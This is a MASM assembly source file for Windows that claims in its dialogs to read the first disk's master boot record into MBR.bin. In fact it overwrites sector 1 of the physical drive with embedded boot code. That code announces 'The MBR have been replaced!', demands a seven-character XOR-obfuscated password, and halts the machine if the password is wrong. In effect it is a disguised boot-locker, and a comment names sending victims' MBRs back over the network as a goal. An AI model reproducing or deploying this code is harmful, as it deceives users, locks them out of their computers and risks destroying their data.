📄 rwmbr.asm
字号:
;本版本应经测试通过,MyMBR在文件夹“MyMBR”下
;############################################################################################################
; 这是一个在保护模式的Windows NT/2000/XP下读写硬盘物理扇区内容的程序
; 请最好在“命令提示符”下运行,图形方式也能运行。
;############################################################################################################
;
.386
.model flat, stdcall
option casemap :none
;
; Include 文件定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include windows.inc
include kernel32.inc
includelib kernel32.lib
include user32.inc
includelib user32.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
SECTOR_BYTES equ 512
.data?
dwRW dd ? ; 保存ReadFile函数实际读出的字节数
; 之后保存WriteFile函数实际写入的字节数
hFile dd ? ; 文件句柄
; 下面是构造的硬盘前两个物理扇区内容——其实等于把原来的MBR搬到第2物理扇区,我的MBR放到第1物理扇区
szBuffer1 db SECTOR_BYTES dup(?) ; 数据缓冲:将存放我写的MBR
szBuffer2 db SECTOR_BYTES dup(?) ; 数据缓冲:将存放原来的MBR
.const
szFileName1 db '\\.\PHYSICALDRIVE0',0 ; 打开第一个物理硬盘(PhysicalDrive0)
szFileName2 db 'MBR.bin',0 ; 以二进制存放主引导记录数据
szCaption1 db '囧 RWMBR',0
szCaption2 db '^_^ RWMBR',0
szMessage db '本程序将读取第一硬盘的主引导记录 ',0
szOkmessage db ' 恭 喜 你!',0Dh,0Dh
db '赶紧在本程序所在文件夹下找“MBR.bin”文件吧 ',0Dh,0Dh
db ' 它就是硬盘主引导记录(二进制代码)',0
szErrMessage1 db '你的权限不够,请以管理员身份运行本程序 ',0
szErrMessage21 db '遗憾,读主引导扇区失败!(CODE=1) ',0
szErrMessage22 db '遗憾,读主引导扇区失败!(CODE=2) ',0
szErrMessage23 db '遗憾,读主引导扇区失败!(CODE=3) ',0
szErrMessage24 db '遗憾,读主引导扇区失败!(CODE=4) ',0
szErrMessage3 db ' 无法创建“MBR.bin”文件!',0Dh,0Dh
db '请检查是否有同名文件并被设置为只读。 ',0
szErrMessage4 db '抱歉,写“MBR.bin”文件失败! ',0
;
szErrMessage5 db '抱歉,写主引导记录失败! ',0
szErrMessage db '你已经运行过本程序,不能再次运行',0
;
; 这是我写的新MBR,将被程序转储到szBuffer1起始的缓冲区中
szMyMBR db 0FAh,033h,0C0h,08Eh,0D0h,0BCh,000h,07Ch,0FBh,050h,007h,050h,01Fh,0FCh,0BEh,01Ch
db 07Ch,0BFh,01Ch,006h,050h,057h,0B9h,000h,002h,0F3h,0A4h,0CBh,033h,0C0h,050h,050h
db 050h,0B8h,001h,000h,050h,033h,0C0h,050h,0B8h,000h,07Ch,050h,0B8h,001h,000h,050h
db 0B8h,010h,000h,050h,08Bh,0F4h,0B8h,000h,042h,0B2h,080h,0CDh,013h,00Fh,082h,08Bh
db 000h,0EBh,041h,090h,054h,068h,065h,020h,04Dh,052h,042h,020h,068h,061h,076h,065h
db 020h,062h,065h,065h,06Eh,020h,072h,065h,070h,06Ch,061h,063h,065h,064h,021h,020h
db 049h,06Eh,070h,075h,074h,020h,037h,020h,063h,068h,061h,072h,020h,070h,061h,073h
db 073h,077h,06Fh,072h,064h,03Ah,0B5h,0A8h,0B7h,0B2h,0B7h,0B3h,0BFh,000h,000h,000h
db 000h,000h,000h,000h,0BCh,000h,07Ch,0B8h,000h,0B8h,08Eh,0C0h,00Eh,01Fh,0BEh,044h
db 006h,033h,0FFh,0B4h,0BCh,0B9h,032h,000h,0ACh,0ABh,0E2h,0FCh,01Eh,007h,0B9h,007h
db 000h,0BFh,07Dh,006h,051h,057h,0B4h,000h,0CDh,016h,00Ah,0C0h,074h,0F8h,05Fh,034h
db 086h,0AAh,059h,0E2h,0EFh,0BEh,076h,006h,0BFh,07Dh,006h,0B9h,007h,000h,0F3h,0A6h
db 075h,00Ah,090h,090h,033h,0C0h,050h,0BFh,000h,07Ch,057h,0CBh,0B8h,000h,0B8h,08Eh
db 0D8h,033h,0DBh,0B8h,045h,0FCh,089h,007h,0EBh,0FEh
szIDAddr EQU $-szMyMBR
db 055h,0AAh,0AAh,055h
szMyMBRLen EQU $-szMyMBR
;
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
start:
; 提示信息
invoke MessageBox,NULL,offset szMessage,offset szCaption2,MB_OK or MB_ICONINFORMATION
; —————————————————————————核心—————————————————————————————
; 打开第一个物理硬盘
invoke CreateFile,offset szFileName1, \
GENERIC_READ or GENERIC_WRITE, \ ; ★
FILE_SHARE_READ or FILE_SHARE_WRITE, \
NULL, \
OPEN_EXISTING, \
NULL, \
NULL ; 打开文件(第一个物理硬盘)
.if eax == INVALID_HANDLE_VALUE
invoke MessageBox,NULL,offset szErrMessage1,offset szCaption1,MB_OK or MB_ICONSTOP
jmp _exit ; 打开错误,则显示提示后退出
.endif
mov hFile,eax
; 读硬盘主引导记录第一个物理扇区到szBuffer2
invoke ReadFile,hFile, \
offset szBuffer2, \
SECTOR_BYTES, \
offset dwRW, \
NULL ; 读
.if eax == NULL
invoke CloseHandle,hFile ; 关闭句柄
invoke MessageBox,NULL,offset szErrMessage21,offset szCaption1,MB_OK or MB_ICONSTOP
jmp _exit ; 失败则显示提示后退出
.elseif dwRW !=SECTOR_BYTES
invoke CloseHandle,hFile ; 关闭句柄
invoke MessageBox,NULL,offset szErrMessage22,offset szCaption1,MB_OK or MB_ICONSTOP
jmp _exit ; 失败则显示提示后退出
.endif
mov dwRW,0
; ★test
; 判定是否已经运行过本程序
lea ebx,szBuffer2
add ebx,szIDAddr
mov eax,[ebx]
.if eax == 055AAAA55h
invoke CloseHandle,hFile ; 关闭句柄
invoke MessageBox,NULL,offset szErrMessage,offset szCaption1,MB_OK or MB_ICONSTOP
jmp _exit
.endif
; 复制到szBuffer1——原主引导扇区在后续启动中,可能被用到其中一些关键数据,所以尽量不破坏
cld
lea edi,szBuffer1
lea esi,szBuffer2
mov ecx,SECTOR_BYTES
rep movsb
; 改写数据,把我的MBR写到第一物理扇区,原来的MBR写到第二物理扇区
lea edi,szBuffer1
lea esi,szMyMBR
mov ecx,szMyMBRLen
rep movsb
;
;编程提示:要先调整指针
invoke SetFilePointer,hFile,0,NULL,FILE_BEGIN ; 移动文件指针到物理第1扇区第零字节
; 写硬盘第一、第二物理扇区
invoke WriteFile,hFile, \
offset szBuffer1, \
SECTOR_BYTES*2, \
offset dwRW, \
NULL ; 写硬盘主引导扇区
.if eax == NULL
invoke CloseHandle,hFile ; 关闭句柄
invoke MessageBox,NULL,offset szErrMessage5,offset szCaption1,MB_OK or MB_ICONSTOP
jmp _exit ; 失败则显示提示后退出
.elseif dwRW !=SECTOR_BYTES*2
invoke CloseHandle,hFile ; 关闭句柄
invoke MessageBox,NULL,offset szErrMessage5,offset szCaption1,MB_OK or MB_ICONSTOP
jmp _exit ; 失败则显示提示后退出
.endif
mov dwRW,0
; 再读硬盘第一、第二物理扇区
invoke SetFilePointer,hFile,0,NULL,FILE_BEGIN ; 移动文件指针到物理第零扇区第零字节
invoke ReadFile,hFile, \
offset szBuffer1, \
SECTOR_BYTES*2, \
offset dwRW, \
NULL ; 读硬盘主引导扇区
invoke CloseHandle,hFile ; 关闭句柄
.if eax == NULL
invoke MessageBox,NULL,offset szErrMessage23,offset szCaption1,MB_OK or MB_ICONSTOP
jmp _exit ; 失败则显示提示后退出
.elseif dwRW !=SECTOR_BYTES*2
invoke MessageBox,NULL,offset szErrMessage24,offset szCaption1,MB_OK or MB_ICONSTOP
jmp _exit ; 失败则显示提示后退出
.endif
; —————————————————————————核心结束———————————————————————————
; 创建"MBR.bin"文件
mov dwRW,0
invoke CreateFile,addr szFileName2, \
GENERIC_WRITE, \
FILE_SHARE_READ, \
0, \
CREATE_ALWAYS, \
FILE_ATTRIBUTE_NORMAL, \
0 ; 创建或者打开主引导记录文件
.if eax == INVALID_HANDLE_VALUE
invoke MessageBox,NULL,offset szErrMessage3,offset szCaption1,MB_OK or MB_ICONQUESTION
jmp _exit
.endif
mov hFile,eax
; 保存二进制形式数据到文件"MBR.bin"
invoke WriteFile,eax, \
offset szBuffer1, \
SECTOR_BYTES*2, \
addr dwRW, \
NULL ; 写数据到指定文件
push eax
invoke CloseHandle,hFile ; 关闭句柄
pop eax
.if eax == NULL
invoke MessageBox,NULL,offset szErrMessage4,offset szCaption1,MB_OK or MB_ICONSTOP
jmp _exit ; 失败则显示提示后退出
.elseif dwRW !=SECTOR_BYTES*2
invoke MessageBox,NULL,offset szErrMessage4,offset szCaption1,MB_OK or MB_ICONSTOP
jmp _exit ; 失败则显示提示后退出
.endif
; 为成功欢呼
invoke MessageBox,NULL,offset szOkmessage,offset szCaption2,MB_OK or MB_ICONINFORMATION
;
_exit: invoke ExitProcess,NULL
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
end start
;############################################################################################################
; 使用 nmake 或下列命令进行编译和链接:
; ml /c /coff /FlRMBR RMBR.asm (编译生成清单,不要清单的话:ml /c /coff RMBR.asm)
; rc RMBR.rc
; Link /subsystem:windows RMBR.obj RMBR.res
;############################################################################################################
; 1、本程序所用图标系网上下载的.png格式的,使用Png2Ico软件转换得来;
; 2、使用TD32完整测试了程序;
; 3、改进之处:加上二进制显示并再同时生成一个可用记事本打开、16进制的文本文件“MBR.txt”就更理想了;
; 4、远期目标:可以读取和改写任意数量的物理扇区、能让使用者把其机器的MBR用网络发回最好。
;############################################################################################################
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -